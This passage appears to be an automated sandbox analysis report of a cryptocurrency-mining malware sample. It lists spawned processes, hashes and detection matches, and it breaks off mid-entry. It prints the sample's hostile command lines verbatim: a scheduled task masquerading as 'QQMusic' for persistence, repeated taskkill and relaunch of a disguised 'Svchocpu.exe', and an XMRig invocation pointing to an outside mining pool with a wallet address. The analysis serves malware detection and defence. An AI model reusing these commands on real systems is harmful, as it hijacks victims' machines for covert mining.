Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:18:11
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:18:11
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\user\Desktop\file.exe /F
Imagebase:	0xd80000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:18:11
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:18:11
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 4184, Parent PID: 5712

General

Target ID:	9
Start time:	12:18:11
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:18:12
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:18:12
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c ipconfig /flushdns
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:18:12
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:18:12
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:18:12
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:18:12
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:18:12
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:18:12
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:18:12
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /flushdns
Imagebase:	0x830000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\ProgramData\Svchocpu.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Imagebase:	0x7ff6dfac0000
File size:	1'361'920 bytes
MD5 hash:	23D84A7ED2E8E76D0A13197B74913654
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000002.2171709547.000001F4C53C0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0xf30000
File size:	9'485'672 bytes
MD5 hash:	EFA492099E215A4EA44F157CBC62F081
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000002.2186176518.000000000128C000.00000008.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000000.2178047816.000000000128C000.00000008.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: 0000001B.00000000.2176836796.00000000011EA000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: 0000001B.00000002.2185602892.00000000011EA000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\ProgramData\Svchocpu.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Imagebase:	0x7ff6dfac0000
File size:	1'361'920 bytes
MD5 hash:	23D84A7ED2E8E76D0A13197B74913654
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000002.2176852527.000001B0F40E0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	12:18:13
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	12:18:14
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	12:18:14
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	12:18:14
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	12:18:14
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	12:18:14
Start date:	17/10/2024
Path:	C:\ProgramData\Svchocpu.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Imagebase:	0x7ff6dfac0000
File size:	1'361'920 bytes
MD5 hash:	23D84A7ED2E8E76D0A13197B74913654
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	12:18:14
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	12:18:14
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	12:18:14
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	12:18:15
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	12:18:15
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	12:18:15
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	12:18:15
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	12:18:15
Start date:	17/10/2024
Path:	C:\ProgramData\Svchocpu.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Imagebase:	0x7ff6dfac0000
File size:	1'361'920 bytes
MD5 hash:	23D84A7ED2E8E76D0A13197B74913654
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000032.00000002.2192534762.000001F36C070000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	12:18:15
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	12:18:15
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	12:18:15
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	12:18:15
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	12:18:15
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	12:18:15
Start date:	17/10/2024
Path:	C:\ProgramData\Svchocpu.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Imagebase:	0x7ff6dfac0000
File size:	1'361'920 bytes
MD5 hash:	23D84A7ED2E8E76D0A13197B74913654
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000038.00000002.2198689479.000002790CCC0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	12:18:15
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	12:18:15
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	12:18:15
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0x7ff7403e0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im Svchocpu.exe
Imagebase:	0xd60000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	12:18:16
Start date:	17/10/2024
Path:	C:\ProgramData\Svchocpu.exe
Wow64 process (32bit):	false
